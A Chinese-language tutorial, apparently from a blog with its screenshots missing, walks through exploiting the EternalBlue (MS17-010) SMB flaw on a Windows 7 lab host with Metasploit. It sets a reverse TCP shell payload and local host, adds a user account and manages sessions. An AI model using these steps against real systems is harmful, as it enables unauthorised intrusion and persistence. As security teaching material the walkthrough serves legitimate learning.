实战-使用msf渗透攻击win7主机并远程执行命令

1.什么是永恒之蓝？

永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

2.通过msf模块获取win7主机远程shell

模块的整体使用流程如下

1.我们先扫描目标是否存在ms17-010漏洞

 2.加载对应的模块

 3.查看需要设置的参数

show options

4.设置目标主机

5.开始扫描，run运行

 如图，我们可以确定目标是脆弱的，系统里有ms17-010漏洞。

 6.查找攻击模块

 7.加载攻击模块

8.查看需要设置的参数

9.设置目标主机

 10.查看该攻击载荷使用的系统类型show targets

如图，可以看出永恒之蓝可以针对win7和server 2008操作系统。

 11.查看该模块可以使用的攻击载荷 show payloads

 12.选择攻击模块 show windows/x64/shell

 13.设置攻击载荷 set payload windows/x64/shell/reverse_tcp

14.设置本地主机 set LHOST 192.168.0.109

15.查看设置参数

 16.run运行

如图，渗透成功。

17.执行一些命令去测试一下

添加一个账号 

 在win7系统里查看用户。如图，添加成功。

 但是，我们在终端模拟器里看到一些乱码。

 原因是：一个是linux系统，一个是windows系统，编码方式不一样。

解决办法：chcp 65001

 查看我们的权限。

如图，可以看到我们是系统最高权限及root权限。

 终端会话：ctrl+c

 拿到会话后，我们将其保存到后台 exploit -j

 此时，会话保存到后台了。我们输入sessions，进行查看。

 记录会话 sessions -i 4

 退出但不断开这个链接 background

 删除会话 sessions -k 4

 3.总结使用metasploit攻击的步骤

1.查找CVE公布的漏洞

2.查找对应的exploit模块

3.配置模块参数

4.添加payload后门

5.执行exploit开始攻击